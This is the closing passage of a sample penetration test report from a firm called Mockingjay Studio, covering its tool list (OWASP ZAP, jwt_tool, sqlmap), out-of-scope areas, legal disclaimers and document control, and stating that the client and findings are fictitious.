- OWASP ZAP — passive scanning, parameter discovery

- Mockingjay Scanner v2 — external attack-surface scan (Appendix A)
- jwt_tool — JWT introspection and forgery testing (F-001)
- sqlmap — confirmation of SQL injection in F-004 (running with `--risk=1 --level=1` only)
- Hudson Rock and XposedOrNot — credential and breach data (Appendix A)

Manual testing remained the primary methodology. Automated tools were used for reconnaissance, regression, and to validate specific findings — not as a substitute for hands-on analysis.

Out-of-scope verification

The following classes of testing were not performed and remain available as separate engagements: source code review; threat modelling; cloud configuration review (AWS / Azure / GCP); mobile application testing; internal network testing; phishing simulation; physical security assessment.

Legal and Disclaimer

Confidentiality

This report and its contents are confidential. It is prepared for the exclusive use of Verity Compliance Cloud Pty Ltd ("the Client") and is intended for distribution only within the Client's organisation. The report may not be disclosed to third parties without the prior written consent of both the Client and Mockingjay Studio, except as required by law or regulation.

Scope of opinion

The findings, conclusions, and recommendations in this report are based solely on the testing activities performed during the engagement period (5 May – 12 May 2026) against the specific scope described in the Document Information section. They do not constitute a comprehensive assessment of the Client's overall security posture, nor do they extend to any system, application, or environment not explicitly named in the scope.

This report is a snapshot in time. Changes to the application, its dependencies, its infrastructure, or its operating environment after the testing window may introduce new vulnerabilities not covered by this report and may also resolve findings reported here. Re-testing is recommended after material change.

Limitations

No security assessment, including this one, can guarantee the absence of vulnerabilities. Findings reported here represent those identified during the testing window using the methodology described; vulnerabilities not identified may nonetheless exist. This report is not, and should not be construed as, a warranty or representation that the assessed application is free of security weaknesses.

Where remediation recommendations are made, they reflect Mockingjay Studio's professional opinion at the time of writing. The Client retains responsibility for evaluating the recommendations in the context of its own engineering, operational, and commercial constraints, and for implementing remediations appropriately.

Liability

Mockingjay Studio's liability arising from or in connection with this engagement is governed by the engagement agreement signed between Mockingjay Studio and the Client prior to the commencement of work.

Methodology and ethics

All testing was conducted with explicit written authorisation from the Client. No data was extracted beyond what was necessary to demonstrate the existence of vulnerabilities. Test data created during the

engagement was destroyed at engagement close. Findings were communicated to the Client as required by the agreed reporting cadence.

Document control

Version	1.0 — Final
Date issued	14 May 2026
Issued by	Mockingjay Studio
Authorised by	Jiae Black, Principal
Recipient	Verity Compliance Cloud Pty Ltd
Distribution	Confidential — Recipient organisation only

SAMPLE NOTICE

This is a **sample report** for the purposes of demonstrating Mockingjay Studio's penetration testing deliverables. Verity Compliance Cloud Pty Ltd is a fictitious company. All findings, technical details, and references herein are illustrative and do not correspond to any real organisation, application, or vulnerability. This document may be freely shared as a demonstration of Mockingjay Studio's reporting style.